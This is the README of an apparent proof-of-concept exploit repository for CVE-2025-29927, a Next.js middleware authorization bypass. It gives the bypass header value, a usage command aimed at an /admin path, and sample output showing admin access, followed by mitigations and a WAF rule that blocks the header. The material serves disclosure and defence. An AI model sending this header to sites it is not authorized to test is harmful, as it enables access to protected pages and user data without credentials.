Here is a simple but effective exploit for CVE-2025-29927.# CVE-2025-29927 - Next.js Middleware Authorization Bypass (PoC)
This repository contains a Proof of Concept (PoC) exploit for **CVE-2025-29927**, a critical vulnerability in **Next.js** that allows attackers to bypass authorization checks by abusing a middleware-specific HTTP header.
---
## Overview
- **CVE ID:** CVE-2025-29927
- **Severity:** Critical (CVSS 9.1)
- **Affected Framework:** [Next.js](https://nextjs.org/)
- **Vulnerability Type:** Authorization Bypass
- **Exploitation Vector:** HTTP Request Header
- **Exploit Complexity:** Low
- **Authentication Required:** No
---
## About the Vulnerability
Next.js applications often rely on middleware for authorization and access control. This CVE arises from a logic flaw in how the `x-middleware-subrequest` header is processed. When this header is set to `middleware`, the server may incorrectly assume the request originated from internal logic and **bypass middleware-based auth**.
> This can allow attackers to access admin panels, protected APIs, or user data — with **no credentials or valid session.**
---
## PoC Exploit
We provide a simple Python script to test whether a Next.js application is vulnerable.
### ▶️ Usage
```bash
python3 exploit.py --url https://target.com --path /admin [--proxy http://127.0.0.1:8080]
```
## Sample Output
```
[+] Sending request to: https://target.com/admin
[+] Using header: x-middleware-subrequest: middleware
[+] Status Code: 200
[+] Response Body (first 500 chars):
<!DOCTYPE html><html><head>...You are logged in as admin...
```
## Dependencies
- Python 3.6+
- requests library
## Mitigation
- Upgrade to the latest patched version of Next.js.
- Avoid using x-middleware-subrequest as a trust signal.
- Implement server-side session validation and proper authorization checks in protected routes.
- Consider adding WAF/IDS rules to block or flag suspicious use of this header.
WAF Logic:
```
if header 'x-middleware-subrequest' == 'middleware':
block_request()
```
## Disclosure & Credits
This PoC was developed by the Offensive Security Team at W2H Corp. as part of our continuous vulnerability research efforts. The original post for the CVE explanation is [here](https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware).
[4.0K] /data/pocs/c5f406cd5b7c2d9496742470a691b5cd0bede627
├── [1.4K] cve-2025-29927-poc.py
└── [2.3K] README.md
0 directories, 2 files